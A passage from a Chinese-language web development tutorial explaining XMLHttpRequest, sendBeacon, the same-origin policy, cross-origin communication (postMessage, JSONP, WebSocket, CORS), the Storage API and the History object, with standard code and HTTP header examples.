xhr.overrideMimeType('text/plain')
```

注意，该方法必须在`send()`方法之前调用。

修改服务器返回的数据类型，不是正常情况下应该采取的方法。如果希望服务器返回指定的数据类型，可以用`responseType`属性告诉服务器，就像下面的例子。只有在服务器无法返回某种数据类型时，才使用`overrideMimeType()`方法。

```js
var xhr = new XMLHttpRequest();
xhr.onload = function(e) {
  var arraybuffer = xhr.response;
  // ...
}
xhr.open('GET', url);
xhr.responseType = 'arraybuffer';
xhr.send();
```

#### XMLHttpRequest.getResponseHeader()

`XMLHttpRequest.getResponseHeader()`方法返回 HTTP 头信息指定字段的值，如果还没有收到服务器回应或者指定字段不存在，返回`null`。该方法的参数不区分大小写。

```js
function getHeaderTime() {
  console.log(this.getResponseHeader("Last-Modified"));
}

var xhr = new XMLHttpRequest();
xhr.open('HEAD', 'yourpage.html');
xhr.onload = getHeaderTime;
xhr.send();
```

如果有多个字段同名，它们的值会被连接为一个字符串，每个字段之间使用“逗号+空格”分隔。

#### XMLHttpRequest.getAllResponseHeaders()

`XMLHttpRequest.getAllResponseHeaders()`方法返回一个字符串，表示服务器发来的所有 HTTP 头信息。

格式为字符串，每个头信息之间使用`CRLF`分隔（回车+换行），如果没有收到服务器回应，该属性为`null`。如果发生网络错误，该属性为空字符串。

```js
xhr.onreadystatechange = function () {
  if (this.readyState === 4) {
    var headers = xhr.getAllResponseHeaders();
  }
}
```

```http
date: Fri, 08 Dec 2017 21:04:30 GMT\r\n
content-encoding: gzip\r\n
x-content-type-options: nosniff\r\n
server: meinheld/0.6.1\r\n
x-frame-options: DENY\r\n
content-type: text/html; charset=utf-8\r\n
connection: keep-alive\r\n
strict-transport-security: max-age=63072000\r\n
vary: Cookie, Accept-Encoding\r\n
content-length: 6502\r\n
x-xss-protection: 1; mode=block\r\n
```

#### XMLHttpRequest.abort()

`XMLHttpRequest.abort()`方法用来终止已经发出的 HTTP 请求。调用这个方法以后，`readyState`属性变为`4`，`status`属性变为`0`。

### 实例事件

#### readyStateChange 事件

`readyState`属性的值发生改变，就会触发 readyStateChange 事件。

我们可以通过`onReadyStateChange`属性，指定这个事件的监听函数，对不同状态进行不同处理。尤其是当状态变为`4`的时候，表示通信成功，这时回调函数就可以处理服务器传送回来的数据。

#### progress 事件

上传文件时，XMLHttpRequest 实例对象本身和实例的`upload`属性，都有一个`progress`事件，会不断返回上传的进度。

```js
var xhr = new XMLHttpRequest();

function updateProgress (oEvent) {
  if (oEvent.lengthComputable) {
    var percentComplete = oEvent.loaded / oEvent.total;
  } else {
    console.log('无法计算进展');
  }
}

xhr.addEventListener('progress', updateProgress);

xhr.open();
```

#### load 事件

#### error 事件

#### abort 事件

load 事件表示服务器传来的数据接收完毕，error 事件表示请求出错，abort 事件表示请求被中断（比如用户取消请求）。

#### loadend 事件

`abort`、`load`和`error`这三个事件，会伴随一个`loadend`事件，表示请求结束，但不知道其是否成功。

```js
xhr.addEventListener('loadend', loadEnd);

function loadEnd(e) {
  console.log('请求结束，状态未知');
}
```

#### timeout 事件

服务器超过指定时间还没有返回结果，就会触发 timeout 事件。

### Navigator.sendBeacon()

用户卸载网页的时候，有时需要向服务器发一些数据。很自然的做法是在`unload`事件或`beforeunload`事件的监听函数里面，使用`XMLHttpRequest`对象发送数据。

但是，这样做不是很可靠，因为`XMLHttpRequest`对象是异步发送，很可能在它即将发送的时候，页面已经卸载了，从而导致发送取消或者发送失败。

解决方法就是`unload`事件里面，加一些很耗时的同步操作。这样就能留出足够的时间，保证异步 AJAX 能够发送成功。

浏览器引入了`Navigator.sendBeacon()`方法。这个方法还是异步发出请求，但是请求与当前页面线程脱钩，作为浏览器进程的任务，因此可以保证会把数据发出去，不拖延卸载流程。

```js
window.addEventListener('unload', logData, false);

function logData() {
  navigator.sendBeacon('/log', JSON.stringify({
    some: "data"
  }));
}
```

`Navigator.sendBeacon()`方法接受两个参数，第一个参数是目标服务器的 URL，第二个参数是所要发送的数据（可选），可以是任意类型（字符串、表单对象、二进制对象等等）。

```js
navigator.sendBeacon(url, data)
```

这个方法的返回值是一个布尔值，成功发送数据为`true`，否则为`false`。

该方法发送数据的 HTTP 方法是 POST，可以跨域，类似于表单提交数据。它不能指定回调函数。

## 同源限制

浏览器安全的基石是“同源政策”（[same-origin policy](https://en.wikipedia.org/wiki/Same-origin_policy)）。很多开发者都知道这一点，但了解得不全面。

### 概述

#### 含义

最初，它的含义是指，A 网页设置的 Cookie，B 网页不能打开，除非这两个网页“同源”。所谓“同源”指的是“三个相同”。

* 协议相同
* 域名相同
* 端口相同（这点可以忽略）

举例来说，`http://www.example.com/dir/page.html`这个网址，协议是`http://`，域名是`www.example.com`，端口是`80`（默认端口可以省略），它的同源情况如下。

* `http://www.example.com/dir2/other.html`：同源
* `http://example.com/dir/other.html`：不同源（域名不同）
* `http://v2.www.example.com/dir/other.html`：不同源（域名不同）
* `http://www.example.com:81/dir/other.html`：不同源（端口不同）
* `https://www.example.com/dir/page.html`：不同源（协议不同）

注意，标准规定端口不同的网址不是同源（比如8000端口和8001端口不是同源），但是浏览器没有遵守这条规定。实际上，同一个网域的不同端口，是可以互相读取 Cookie 的。

#### 目的

同源政策的目的，是为了保证用户信息的安全，防止恶意的网站窃取数据。

设想这样一种情况：A 网站是一家银行，用户登录以后，A 网站在用户的机器上设置了一个 Cookie，包含了一些隐私信息。用户离开 A 网站以后，又去访问 B 网站，如果没有同源限制，B 网站可以读取 A 网站的 Cookie（通过JavaScript直接读取A网站的Cookie），那么隐私就泄漏了。

更可怕的是，Cookie 往往用来保存用户的登录状态（身份凭证），如果用户没有退出登录，其他网站就可以冒充用户（恶意网站获取受害者的Cookie后，将这些Cookie附加到**自己向目标网站发起的请求**中，目标网站看到合法Cookie后，会认为这是真实用户的请求），为所欲为。因为浏览器同时还规定，提交表单不受同源政策的限制。

由此可见，同源政策是必需的，否则 Cookie 可以共享，互联网就毫无安全可言了。

#### 限制范围

随着互联网的发展，同源政策越来越严格。目前，如果非同源，共有三种行为受到限制。

（1） 无法读取非同源网页的 Cookie、LocalStorage 和 IndexedDB。

（2） 无法接触非同源网页的 DOM。

（3） 无法向非同源地址发送 AJAX 请求（可以发送，但浏览器会拒绝接受响应）。

另外，通过 JavaScript 脚本可以拿到其他窗口的`window`对象。如果是非同源的网页，目前允许一个窗口可以接触其他网页的`window`对象的**九个属性和四个方法。**

::: details 允许的属性和方法

* window.closed
* window.frames
* window.length
* window.location
* window.opener
* window.parent
* window.self
* window.top
* window.window
* window.blur()
* window.close()
* window.focus()
* window.postMessage()

:::

上面的九个属性之中，只有`window.location`是可读写的，其他八个全部都是只读。而且，即使是`location`对象，非同源的情况下，也只允许调用`location.replace()`方法和写入`location.href`属性。

虽然这些限制是必要的，但是有时很不方便，合理的用途也受到影响。下面介绍如何规避上面的限制。

### Cookie

Cookie 是服务器写入浏览器的一小段信息，只有同源的网页才能共享。

如果两个网页一级域名相同，只是次级域名不同，浏览器允许通过设置`document.domain`共享 Cookie。

举例来说，A 网页的网址是`http://w1.example.com/a.html`，B 网页的网址是`http://w2.example.com/b.html`，那么只要设置相同的`document.domain`，两个网页就可以共享 Cookie。因为浏览器通过`document.domain`属性来检查是否同源。

```js
// 两个网页都需要设置
document.domain = 'example.com';
```

注意，A 和 B 两个网页都需要设置`document.domain`属性，才能达到同源的目的。因为设置`document.domain`的同时，会把端口重置为`null`，因此如果只设置一个网页的`document.domain`，会导致两个网址的端口不同，还是达不到同源的目的。

现在，A 网页通过脚本设置一个 Cookie。

```js
document.cookie = "test1=hello";
```

B 网页就可以读到这个 Cookie。

```js
var allCookie = document.cookie;
```

注意，这种方法只适用于 Cookie 和 iframe 窗口，LocalStorage 和 IndexedDB 无法通过这种方法，规避同源政策。

另外，服务器也可以在设置 Cookie 的时候，指定 Cookie 的所属域名为一级域名，比如`example.com`。

```http
Set-Cookie: key=value; domain=example.com; path=/
```

这样的话，二级域名和三级域名不用做任何设置，都可以读取这个 Cookie。

### iframe 和多窗口通信

`iframe`元素可以在当前网页之中，嵌入其他网页。每个`iframe`元素形成自己的窗口，即有自己的`window`对象。`iframe`窗口之中的脚本，可以获得父窗口和子窗口。但是，只有在同源的情况下，父窗口和子窗口才能通信；如果跨域，就无法拿到对方的 DOM。

比如，父窗口运行下面的命令，如果`iframe`窗口不是同源，就会报错。

```js
document
.getElementById("myIFrame")
.contentWindow
.document
// Uncaught DOMException: Blocked a frame from accessing a cross-origin frame.
```

上面命令中，父窗口想获取子窗口的 DOM，因为跨域导致报错。

反之亦然，子窗口获取主窗口的 DOM 也会报错。

```js
window.parent.document.body
// 报错
```

这种情况不仅适用于`iframe`窗口，还适用于`window.open`方法打开的窗口，只要跨域，父窗口与子窗口之间就无法通信。

如果两个窗口一级域名相同，只是二级域名不同，那么设置上一节介绍的`document.domain`属性，就可以规避同源政策，拿到 DOM。

对于完全不同源的网站，目前有两种方法，可以解决跨域窗口的通信问题。

* 片段识别符（fragment identifier）
* 跨文档通信API（Cross-document messaging）

#### 片段识别符

片段标识符（fragment identifier）指的是，URL 的`#`号后面的部分，比如`http://example.com/x.html#fragment`的`#fragment`。如果只是改变片段标识符，页面不会重新刷新。

父窗口可以把信息，写入子窗口的片段标识符。

```js
var src = originURL + '#' + data;
document.getElementById('myIFrame').src = src;
```

上面代码中，父窗口把所要传递的信息，写入 iframe 窗口的片段标识符。

子窗口通过监听`hashchange`事件得到通知。

```js
window.onhashchange = checkMessage;

function checkMessage() {
  var message = window.location.hash;
  // ...
}
```

同样的，子窗口也可以改变父窗口的片段标识符。

```js
parent.location.href = target + '#' + hash;
```

#### window.postMessage()

上面的这种方法属于破解，HTML5 为了解决这个问题，引入了一个全新的API：跨文档通信 API（Cross-document messaging）。

这个 API 为`window`对象新增了一个`window.postMessage`方法，允许跨窗口通信，**不论这两个窗口是否同源**。举例来说，父窗口`aaa.com`向子窗口`bbb.com`发消息，调用`postMessage`方法就可以了。

```js
// 父窗口打开一个子窗口
var popup = window.open('http://bbb.com', 'title');
// 父窗口向子窗口发消息
popup.postMessage('Hello World!', 'http://bbb.com');
```

`postMessage`方法的第一个参数是具体的信息内容，第二个参数是接收消息的窗口的源（origin），即“协议 + 域名 + 端口”。也可以设为`*`，表示不限制域名，向所有窗口发送。

子窗口向父窗口发送消息的写法类似。

```js
// 子窗口向父窗口发消息
window.opener.postMessage('Nice to see you', 'http://aaa.com');
```

父窗口和子窗口都可以通过`message`事件，监听对方的消息。

```js
// 父窗口和子窗口都可以用下面的代码，
// 监听 message 消息
window.addEventListener('message', function (e) {
  console.log(e.data);
},false);
```

`message`事件的参数是事件对象`event`，提供以下三个属性。

* `event.source`：发送消息的窗口
* `event.origin`: 消息发送者的源（origin），即协议、域名、端口。
* `event.data`: 消息内容

下面的例子是，子窗口通过`event.source`属性引用父窗口，然后发送消息（收到它（父窗口）的信息后回复它）。

```js
window.addEventListener('message', receiveMessage);
function receiveMessage(event) {
  event.source.postMessage('Nice to see you!', '*');
}
```

上面代码有几个地方需要注意。首先，`receiveMessage`函数里面没有过滤信息的来源，任意网址发来的信息都会被处理。其次，`postMessage`方法中指定的目标窗口的网址是一个星号，表示该信息可以向任意网址发送。通常来说，这两种做法是不推荐的，因为不够安全，可能会被恶意利用。

`event.origin`属性可以过滤非许可地址发来的消息。

```js
window.addEventListener('message', receiveMessage);
function receiveMessage(event) {
  if (event.origin !== 'http://aaa.com') return;
  if (event.data === 'Hello World') {
    event.source.postMessage('Hello', event.origin);
  } else {
    console.log(event.data);
  }
}
```

#### LocalStorage

通过`window.postMessage`，读写其他窗口的 LocalStorage 也成为了可能。

下面是一个例子，主窗口写入 iframe 子窗口的`localStorage`。

```js
window.onmessage = function(e) {
  if (e.origin !== 'http://bbb.com') {
    return;
  }
  var payload = JSON.parse(e.data);
  localStorage.setItem(payload.key, JSON.stringify(payload.data));
};
```

上面代码中，子窗口将父窗口发来的消息，写入自己的 LocalStorage。

父窗口发送消息的代码如下。

```js
var win = document.getElementsByTagName('iframe')[0].contentWindow;
var obj = { name: 'Jack' };
win.postMessage(
  JSON.stringify({key: 'storage', data: obj}),
  'http://bbb.com'
);
```

**加强版的子窗口接收消息的代码如下。**

```js
window.onmessage = function(e) {
  if (e.origin !== 'http://bbb.com') return;
  var payload = JSON.parse(e.data);
  switch (payload.method) {
    case 'set':
      localStorage.setItem(payload.key, JSON.stringify(payload.data));
      break;
    case 'get':
      var parent = window.parent;
      var data = localStorage.getItem(payload.key);
      parent.postMessage(data, 'http://aaa.com');
      break;
    case 'remove':
      localStorage.removeItem(payload.key);
      break;
  }
};
```

加强版的父窗口发送消息代码如下。

```js
var win = document.getElementsByTagName('iframe')[0].contentWindow;
var obj = { name: 'Jack' };
// 存入对象
win.postMessage(
  JSON.stringify({key: 'storage', method: 'set', data: obj}),
  'http://bbb.com'
);
// 读取对象
win.postMessage(
  JSON.stringify({key: 'storage', method: "get"}),
  "*"
);
window.onmessage = function(e) {
  if (e.origin != 'http://aaa.com') return;
  console.log(JSON.parse(e.data).name);
};
```

### AJAX

同源政策规定，AJAX 请求只能发给同源的网址，否则就报错。

除了架设服务器代理（浏览器请求同源服务器，再由后者请求外部服务），有三种方法规避这个限制。

* JSONP
* WebSocket
* CORS

#### JSONP

JSONP 是服务器与客户端跨源通信的常用方法。最大特点就是简单易用，没有兼容性问题，老式浏览器全部支持，服务端改造非常小。

它的做法如下。

第一步，网页添加一个`<script>`元素，向服务器请求一个脚本，这不受同源政策限制，可以跨域请求。

```js
<script src="http://api.foo.com?callback=bar"></script>
```

注意，请求的脚本网址有一个`callback`参数（`?callback=bar`），用来告诉服务器，客户端的回调函数名称（`bar`）。

第二步，服务器收到请求后，拼接一个字符串，将 JSON 数据放在函数名里面，作为字符串返回（`bar({...})`）。

第三步，客户端会将服务器返回的字符串，作为代码解析，因为浏览器认为，这是`<script>`标签请求的脚本内容。这时，客户端只要定义了`bar()`函数，就能在该函数体内，拿到服务器返回的 JSON 数据。

下面看一个实例。首先，网页动态插入`<script>`元素，由它向跨域网址发出请求。

```js
function addScriptTag(src) {
  var script = document.createElement('script');
  script.setAttribute('type', 'text/javascript');
  script.src = src;
  document.body.appendChild(script);
}

window.onload = function () {
  addScriptTag('http://example.com/ip?callback=foo');
}

function foo(data) {
  console.log('Your public IP address is: ' + data.ip);
};
```

上面代码通过动态添加`<script>`元素，向服务器`example.com`发出请求。注意，该请求的查询字符串有一个`callback`参数，用来指定回调函数的名字，这对于 JSONP 是必需的。

服务器收到这个请求以后，会将数据放在回调函数的参数位置返回。

```json
foo({
  'ip': '8.8.8.8'
});
```

由于`<script>`元素请求的脚本，直接作为代码运行。这时，只要浏览器定义了`foo`函数，该函数就会立即调用。作为参数的 JSON 数据被视为 JavaScript 对象，而不是字符串，因此避免了使用`JSON.parse`的步骤。

#### WebSocket

WebSocket 是一种通信协议，使用`ws://`（非加密）和`wss://`（加密）作为协议前缀。该协议不实行同源政策，只要服务器支持，就可以通过它进行跨源通信。

下面是一个例子，浏览器发出的 WebSocket 请求的头信息（摘自[维基百科](https://en.wikipedia.org/wiki/WebSocket)）。

```http
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
Origin: http://example.com
```

上面代码中，有一个字段是`Origin`，表示该请求的请求源（origin），即发自哪个域名。

正是因为有了`Origin`这个字段，所以 WebSocket 才没有实行同源政策。因为服务器可以根据这个字段，判断是否许可本次通信。如果该域名在白名单内，服务器就会做出如下回应。

```http
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
Sec-WebSocket-Protocol: chat
```

#### CORS

CORS 是跨源资源分享（Cross-Origin Resource Sharing）的缩写。它是 W3C 标准，属于跨源 AJAX 请求的根本解决方法。相比 JSONP 只能发`GET`请求，CORS 允许任何类型的请求。

## CORS 通信

CORS 是一个 W3C 标准，全称是“跨源资源共享”（Cross-origin resource sharing），或者通俗地称为“跨域资源共享”。它允许浏览器向跨源的服务器，发出`XMLHttpRequest`请求，从而克服了 AJAX 只能同源使用的限制。

### 简介

CORS 需要浏览器和服务器同时支持。目前，所有浏览器都支持该功能。

整个 CORS 通信过程，都是浏览器自动完成，不需要用户参与。对于开发者来说，CORS 通信与普通的 AJAX 通信没有差别，代码完全一样。

浏览器一旦发现 AJAX 请求跨源，就会自动添加一些附加的头信息，有时还会多出一次附加的请求，但用户不会有感知。因此，实现 CORS 通信的关键是服务器。只要服务器实现了 CORS 接口，就可以跨源通信。

### 两种请求

CORS 请求分成两类：简单请求（simple request）和非简单请求（not-so-simple request）。

只要同时满足以下两大条件，就属于简单请求。

（1）请求方法是以下三种方法之一。

* HEAD
* GET
* POST

（2）HTTP 的头信息不超出以下几种字段。

* Accept
* Accept-Language
* Content-Language
* Last-Event-ID
* Content-Type：只限于三个值`application/x-www-form-urlencoded`、`multipart/form-data`、`text/plain`

凡是不同时满足上面两个条件，就属于非简单请求。一句话，简单请求就是简单的 HTTP 方法与简单的 HTTP 头信息的结合。

这样划分的原因是，表单在历史上一直可以跨源发出请求。简单请求就是表单请求，浏览器沿袭了传统的处理方式，不把行为复杂化，否则开发者可能转而使用表单，规避 CORS 的限制。对于非简单请求，浏览器会采用新的处理方式。

### 简单请求

#### 基本流程

对于简单请求，浏览器直接发出 CORS 请求。具体来说，就是在头信息之中，增加一个`Origin`字段。

下面是一个例子，浏览器发现这次跨源 AJAX 请求是简单请求，就自动在头信息之中，添加一个`Origin`字段。

```http
GET /cors HTTP/1.1
Origin: http://api.bob.com
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...
```

上面的头信息中，`Origin`字段用来说明，本次请求来自哪个域（协议 + 域名 + 端口）。服务器根据这个值，决定是否同意这次请求。

如果`Origin`指定的源，不在许可范围内，服务器会返回一个正常的 HTTP 回应。浏览器发现，这个回应的头信息没有包含`Access-Control-Allow-Origin`字段，就知道出错了，从而抛出一个错误，被`XMLHttpRequest`的`onerror`回调函数捕获。注意，这种错误无法通过状态码识别，因为 HTTP 回应的状态码有可能是200。

如果`Origin`指定的域名在许可范围内，服务器返回的响应，会多出几个头信息字段。

```http
Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: FooBar
Content-Type: text/html; charset=utf-8
```

上面的头信息之中，有三个与 CORS 请求相关的字段，都以`Access-Control-`开头。

###### **（1）`Access-Control-Allow-Origin`**

该字段是必须的。它的值要么是请求时`Origin`字段的值，要么是一个`*`，表示接受任意域名的请求。

###### **（2）`Access-Control-Allow-Credentials`**

该字段可选。它的值是一个布尔值，表示是否允许发送 Cookie。默认情况下，Cookie 不包括在 CORS 请求之中。设为`true`，即表示服务器明确许可，浏览器可以把 Cookie 包含在请求中，一起发给服务器。这个值也只能设为`true`，如果服务器不要浏览器发送 Cookie，不发送该字段即可。

###### **（3）`Access-Control-Expose-Headers`**

该字段可选。CORS 请求时，`XMLHttpRequest`对象的`getResponseHeader()`方法只能拿到6个服务器返回的基本字段：`Cache-Control`、`Content-Language`、`Content-Type`、`Expires`、`Last-Modified`、`Pragma`。如果想拿到其他字段，就必须在`Access-Control-Expose-Headers`里面指定。上面的例子指定，`getResponseHeader('FooBar')`可以返回`FooBar`字段的值。

#### withCredentials 属性

上面说到，CORS 请求默认不包含 Cookie 信息（以及 HTTP 认证信息等），这是为了降低 CSRF 攻击的风险。但是某些场合，服务器可能需要拿到 Cookie，这时需要服务器显式指定`Access-Control-Allow-Credentials`字段，告诉浏览器可以发送 Cookie。

```http
Access-Control-Allow-Credentials: true
```

同时，开发者必须在 AJAX 请求中打开`withCredentials`属性。

```js
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
```

否则，即使服务器要求发送 Cookie，浏览器也不会发送。或者，服务器要求设置 Cookie，浏览器也不会处理。

但是，有的浏览器默认将`withCredentials`属性设为`true`。这导致如果省略`withCredentials`设置，这些浏览器可能还是会一起发送 Cookie。这时，可以显式关闭`withCredentials`。

需要注意的是，如果服务器要求浏览器发送 Cookie，`Access-Control-Allow-Origin`就不能设为星号，必须指定明确的、与请求网页一致的域名。同时，Cookie 依然遵循同源政策，只有用服务器域名设置的 Cookie 才会上传，其他域名的 Cookie 并不会上传，且（跨源）原网页代码中的`document.cookie`也无法读取服务器域名下的 Cookie。

### 非简单请求

#### 预检请求

非简单请求是那种对服务器提出特殊要求的请求，比如请求方法是`PUT`或`DELETE`，或者`Content-Type`字段的类型是`application/json`。

非简单请求的 CORS 请求，会在正式通信之前，增加一次 HTTP 查询请求，称为“预检”请求（preflight）。

浏览器先询问服务器，当前网页所在的域名是否在服务器的许可名单之中，以及可以使用哪些 HTTP 方法和头信息字段。

只有得到肯定答复，浏览器才会发出正式的`XMLHttpRequest`请求，否则就报错。这是为了防止这些新增的请求，对传统的没有 CORS 支持的服务器形成压力，给服务器一个提前拒绝的机会，这样可以防止服务器收到大量`DELETE`和`PUT`请求，这些传统的表单不可能跨源发出的请求。

```js
var url = 'http://api.alice.com/cors';
var xhr = new XMLHttpRequest();
xhr.open('PUT', url, true);
xhr.setRequestHeader('X-Custom-Header', 'value');
xhr.send();
```

上面代码中，HTTP 请求的方法是`PUT`，并且发送一个自定义头信息`X-Custom-Header`。

浏览器发现，这是一个非简单请求，就自动发出一个“预检”请求，要求服务器确认可以这样请求。下面是这个“预检”请求的 HTTP 头信息。

```http
OPTIONS /cors HTTP/1.1
Origin: http://api.bob.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Custom-Header
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...
```

“预检”请求用的请求方法是`OPTIONS`，表示这个请求是用来询问的。头信息里面，关键字段是`Origin`，表示请求来自哪个源。

除了`Origin`字段，“预检”请求的头信息包括两个特殊字段。

###### **（1）`Access-Control-Request-Method`**

该字段是必须的，用来列出浏览器的 CORS 请求会用到哪些 HTTP 方法，上例是`PUT`。

###### **（2）`Access-Control-Request-Headers`**

该字段是一个逗号分隔的字符串，指定浏览器 CORS 请求会额外发送的头信息字段，上例是`X-Custom-Header`。

#### 预检请求的回应

服务器收到“预检”请求以后，检查了`Origin`、`Access-Control-Request-Method`和`Access-Control-Request-Headers`字段以后，确认允许跨源请求，就可以做出回应。

```http
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
```

上面的 HTTP 回应中，关键的是`Access-Control-Allow-Origin`字段，表示`http://api.bob.com`可以请求数据。该字段也可以设为星号，表示同意任意跨源请求。

```http
Access-Control-Allow-Origin: *
```

如果服务器否定了“预检”请求，会返回一个正常的 HTTP 回应，但是没有任何 CORS 相关的头信息字段，或者明确表示请求不符合条件。

```http
OPTIONS http://api.bob.com HTTP/1.1
Status: 200
Access-Control-Allow-Origin: https://notyourdomain.com
Access-Control-Allow-Method: POST
```

上面的服务器回应，`Access-Control-Allow-Origin`字段明确不包括发出请求的`http://api.bob.com`。

这时，浏览器就会认定，服务器不同意预检请求，因此触发一个错误，被`XMLHttpRequest`对象的`onerror`回调函数捕获。控制台会打印出如下的报错信息。

```http
XMLHttpRequest cannot load http://api.alice.com.
Origin http://api.bob.com is not allowed by Access-Control-Allow-Origin.
```

服务器回应的其他 CORS 相关字段如下。

```http
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 1728000
```

###### **（1）`Access-Control-Allow-Methods`**

该字段必需，它的值是逗号分隔的一个字符串，表明服务器支持的所有跨源请求的方法。注意，返回的是所有支持的方法，而不单是浏览器请求的那个方法。这是为了避免多次“预检”请求。

###### **（2）`Access-Control-Allow-Headers`**

如果浏览器请求包括`Access-Control-Request-Headers`字段，则`Access-Control-Allow-Headers`字段是必需的。它也是一个逗号分隔的字符串，表明服务器支持的所有头信息字段，不限于浏览器在“预检”中请求的字段。

###### **（3）`Access-Control-Allow-Credentials`**

该字段与简单请求时的含义相同。

###### **（4）`Access-Control-Max-Age`**

该字段可选，用来指定本次预检请求的有效期，单位为秒。上面结果中，有效期是20天（1728000秒），即允许缓存该条回应1728000秒（即20天），在此期间，不用发出另一条预检请求。

#### 浏览器的正常请求和回应

一旦服务器通过了“预检”请求，以后每次浏览器正常的 CORS 请求，就都跟简单请求一样，会有一个`Origin`头信息字段。服务器的回应，也都会有一个`Access-Control-Allow-Origin`头信息字段。

下面是“预检”请求之后，浏览器的正常 CORS 请求。

```http
PUT /cors HTTP/1.1
Origin: http://api.bob.com
Host: api.alice.com
X-Custom-Header: value
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...
```

上面头信息的`Origin`字段是浏览器自动添加的。

下面是服务器正常的回应。

```http
Access-Control-Allow-Origin: http://api.bob.com
Content-Type: text/html; charset=utf-8
```

上面头信息中，`Access-Control-Allow-Origin`字段是每次回应都必定包含的。

### 与 JSONP 的比较

CORS 与 JSONP 的使用目的相同，但是比 JSONP 更强大。JSONP 只支持`GET`请求，CORS 支持所有类型的 HTTP 请求。JSONP 的优势在于支持老式浏览器，以及可以向不支持 CORS 的网站请求数据。

## Storage 接口

Storage 接口用于脚本在浏览器保存数据。两个对象部署了这个接口：`window.sessionStorage`和`window.localStorage`。

`sessionStorage`保存的数据用于浏览器的一次会话（session），当会话结束（通常是窗口关闭），数据被清空；

`localStorage`保存的数据长期存在，下一次访问该网站的时候，网页可以直接读取以前保存的数据。

除了保存期限的长短不同，这两个对象的其他方面都一致。

保存的数据都以“键值对”的形式存在。也就是说，每一项数据都有一个键名和对应的值。所有的数据都是以文本格式保存。

这个接口很像 Cookie 的强化版，能够使用大得多的存储空间。目前，每个域名的存储上限视浏览器而定，Chrome 是 2.5MB，Firefox 和 Opera 是 5MB，IE 是 10MB。其中，Firefox 的存储空间由一级域名决定，而其他浏览器没有这个限制。也就是说，Firefox 中，`a.example.com`和`b.example.com`共享 5MB 的存储空间。另外，与 Cookie 一样，它们也受同域限制。某个网页存入的数据，只有同域下的网页才能读取，如果跨域操作会报错。

### 属性和方法

#### Storage.length

`Storage.length`返回保存的数据项个数。

```js
window.localStorage.length
```

#### Storage.setItem()

`Storage.setItem()`方法用于存入数据。它接受两个参数，第一个是键名，第二个是保存的数据。如果键名已经存在，该方法会更新已有的键值。该方法没有返回值。

```js
window.sessionStorage.setItem('key', 'value');
window.localStorage.setItem('key', 'value');
```

注意，`Storage.setItem()`两个参数都是字符串。如果不是字符串，会自动转成字符串，再存入浏览器。

```js
window.sessionStorage.setItem(3, { foo: 1 });
window.sessionStorage.getItem('3') // "[object Object]"
```

如果储存空间已满，该方法会抛错。

写入不一定要用这个方法，直接赋值也是可以的。

```js
// 下面三种写法等价
window.localStorage.foo = '123';
window.localStorage['foo'] = '123';
window.localStorage.setItem('foo', '123');
```

#### Storage.getItem()

`Storage.getItem()`方法用于读取数据。它只有一个参数，就是键名。如果键名不存在，该方法返回`null`。

```js
window.sessionStorage.getItem('key')
window.localStorage.getItem('key')
```

#### Storage.removeItem()

`Storage.removeItem()`方法用于清除某个键名对应的键值。它接受键名作为参数，如果键名不存在，该方法不会做任何事情。

```js
sessionStorage.removeItem('key');
localStorage.removeItem('key');
```

#### Storage.clear()

`Storage.clear()`方法用于清除所有保存的数据。该方法的返回值是`undefined`。

```js
window.sessionStorage.clear()
window.localStorage.clear()
```

#### Storage.key()

`Storage.key()`方法接受一个整数作为参数（从零开始），返回该位置对应的键名

```js
window.sessionStorage.setItem('key', 'value');
window.sessionStorage.key(0) // "key"
```

结合使用`Storage.length`属性和`Storage.key()`方法，可以遍历所有的键。

```js
for (var i = 0; i < window.localStorage.length; i++) {
  console.log(localStorage.key(i));
}
```

### storage 事件

Storage 接口储存的数据发生变化时，会触发 storage 事件，可以指定这个事件的监听函数。

```js
window.addEventListener('storage', onStorageChange);
```

监听函数接受一个`event`实例对象作为参数。这个实例对象继承了 StorageEvent 接口，有几个特有的属性，都是只读属性。

* `StorageEvent.key`：字符串，表示发生变动的键名。如果 storage 事件是由`clear()`方法引起，该属性返回`null`。
* `StorageEvent.newValue`：字符串，表示新的键值。如果 storage 事件是由`clear()`方法或删除该键值对引发的，该属性返回`null`。
* `StorageEvent.oldValue`：字符串，表示旧的键值。如果该键值对是新增的，该属性返回`null`。
* `StorageEvent.storageArea`：对象，返回键值对所在的整个对象。也说是说，可以从这个属性上面拿到当前域名储存的所有键值对。
* `StorageEvent.url`：字符串，表示原始触发 storage 事件的那个网页的网址。

注意，该事件有一个很特别的地方，就是它不在导致数据变化的当前页面触发，而是在同一个域名的其他窗口触发。也就是说，如果浏览器只打开一个窗口，可能观察不到这个事件。比如同时打开多个窗口，当其中的一个窗口导致储存的数据发生改变时，只有在其他窗口才能观察到监听函数的执行。可以通过这种机制，实现多个窗口之间的通信。

## History 对象

### 概述

`window.history`属性指向 History 对象，它表示当前窗口的浏览历史。

History 对象保存了当前窗口访问过的所有页面网址。下面代码表示当前窗口一共访问过3个网址。

```js
window.history.length // 3
```

由于安全原因，浏览器不允许脚本读取这些地址，但是允许在地址之间导航。

```js
// 后退到前一个网址
history.back()

// 等同于
history.go(-1)
```

浏览器工具栏的“前进”和“后退”按钮，其实就是对 History 对象进行操作。

### 属性

History 对象主要有两个属性。

